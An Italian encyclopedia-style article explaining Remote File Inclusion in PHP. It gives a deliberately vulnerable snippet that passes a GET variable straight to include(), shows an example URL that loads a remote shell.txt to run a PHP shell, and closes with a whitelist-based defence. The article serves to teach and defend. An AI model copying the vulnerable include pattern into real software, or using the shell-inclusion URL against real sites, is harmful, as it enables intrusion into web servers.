Remote File Inclusion
Remote File Inclusion, o RFI, nell'ambito della sicurezza informatica indica una vulnerabilità che affligge i servizi web con uno scarso controllo delle variabili arrivate da un utente, in particolare le variabili GET e POST del PHP. La vulnerabilità si manifesta quando una pagina da includere viene passata per una variabile non controllata.
Codice vulnerabile
modificaQuesto è un semplice esempio di un codice vulnerabile:
<?php
$var = $_GET['var'];
include ($var);
?>
con una conoscenza anche limitata del PHP è molto chiaro ciò che accade, andando su quella pagina e modificando la variabile $var (presente nell'URL) a piacere si può vedere in azione il bug.
http://miosito.it/pagina_vulnerabile.php?var=http://www.miositoincluso.it
in questo caso la variabile var assume il valore dell'URL immesso e nella pagina sarà inclusa la index di miositoincluso.it
Come funziona l'attacco
modificaSe c'è la possibilità di un'inclusione arbitrale di codice PHP un cracker può includere una shell in PHP
http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/shell.txt
da notare che la pagina da includere non deve essere in PHP (perché altrimenti viene incluso solo l'output HTML generato della pagina e non il codice vero e proprio).
Come difendersi
modificaIn genere quando si deve includere una pagina esterna nella propria applicazione web si vuole includere solo un insieme molto ristretto e numerato di possibili pagine, e non tutte le pagine web di questo mondo. Basta quindi fare uno switch-case sui possibili valori della variabile GET, e a seconda del valore includere la pagina desiderata, senza lasciare completamente libero arbitrio all'utente. Basta questa accortezza per evitare ogni tipo di vulnerabilità di RFI.
http://miosito.it/index.php?var=1
poi all'interno della pagina si effettua un controllo tra il possibile numero e il suo corrispettivo sito. Esempio:
<?php
$var = $_GET['var'];
if ($var == 1)include ('http://miositoesterno.it/miapagina1.php');
elseif ($var == 2)include ('http://miositoesterno.it/miapagina2.php');
else die('tentativo di intrusione');
?>